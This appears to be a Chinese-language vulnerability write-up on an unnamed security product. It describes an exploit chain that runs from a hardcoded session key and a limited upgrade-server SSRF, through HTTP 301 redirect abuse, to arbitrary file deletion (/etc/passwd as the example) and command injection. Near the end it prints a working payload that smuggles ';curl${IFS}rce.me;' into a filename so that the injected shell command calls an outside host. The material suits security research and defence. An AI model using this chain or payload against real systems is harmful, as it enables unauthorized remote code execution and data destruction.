21年挖的某安全产品的漏洞,现在回去看还是觉得蛮有意思的,整理重发一下,有空再写写某远OA部分版本的类似该洞的一个洞,也蛮有意思。
系统有session秘钥硬编码的问题,自己生成cookie就可以登录,漏洞来到后台功能上。
该产品为了考虑到部署环境不出网的情况,升级功能做成了可配置自定义的升级服务器,检查升级后会触发向特定路由发送公钥,与升级逻辑做一些列的校验,从安全角度看这是只能发POST
包,且路由和参数均不可控的鸡肋SSRF
。
如下图,**_update
是从用户自定义的配置中取的,与固定的route
变量拼接后作为发送文件的url
这里请求用到的requests模块默认会跟随状态码30X
跳转,可利用该特性将这个SSRF
变成一个GET
类型的路由和参数均可控的SSRF,
或者请求方法不变,内容不变,路由可控的SSRF
,RCE
压力给到内部服务。
配套知识:
requests对30X
状态码调整遵循以下规则(实际上大部分http请求库都会遵循)
304,305,306,309: 会保持原来的请求方法,但不会跳转。
307,308: 会保持原请求方法,并且跳转。
301,302,303: 状态码则会将请求方法转化为GET。
受这个SSRF
本身的限制,寻找内部服务漏洞时优先看请求方式为GET
的路由,筛选后找到一个符合条件的漏洞点如下图所示,传入的doc_file_path
参数可控,如果文件名中能带入自己的恶意Payload
且文件能够存在的情况下,拼接到cmd
变量中后有机会RCE
。
走到命令拼接的前置条件是文件存在,故先查看上传部分代码,如下图所示,mkstemp方法的作用是以最安全的方式创建一个临时文件,该文件的文件名随机,创建后不会自动删除,需用户自行将其删除,suffixs
是指定的后缀,也就是说文件虽然可以落地,但文件名不可控,无法拼接自己的Payload
。
此时只能作为一个任意文件删除的漏洞来使用,配置升级链接301
跳转到http://127.0.0.1:8848/api/doc?doc_file_path=/etc/passwd
,其中doc_file_path
参数为已知的存在的文件,点击系统升级按钮即可触发删除操作。
继续分析代码,阅读大量代码后找到一处上传文件的功能点如下图所示,其中file_pre
为源文件名,拼接下划线,时间戳以及.txt
后保存并返回了完整的文件路径,正好符合上面的要求。
源文件名可控,路径已知,SSRF
升级RCE
变得索然无味,使用分号切割命令语句,带参数的命令可以使用${IFS}
绕一下空格问题,涉及到的${;
均为unix系统文件名允许使用范围的字符。
硬编码秘钥 -> 请求方法路由参数均不可控的鸡肋后台SSRF
-> requests
30X
跳转特性 -> 参数和路由均可控的GET
类型SSRF
-> 内部服务文件名部分可控的文件上传-> 内部鸡肋服务RCE -> 前台RCE
最终Payload如下:
http://127.0.0.1:8848/api/doc?doc_file_path=
/opt/work/files/target_file/admin/;curl${IFS}rce.me;_1623123227304.txt
配置完成手动点击一下升级功能即可触发命令执行。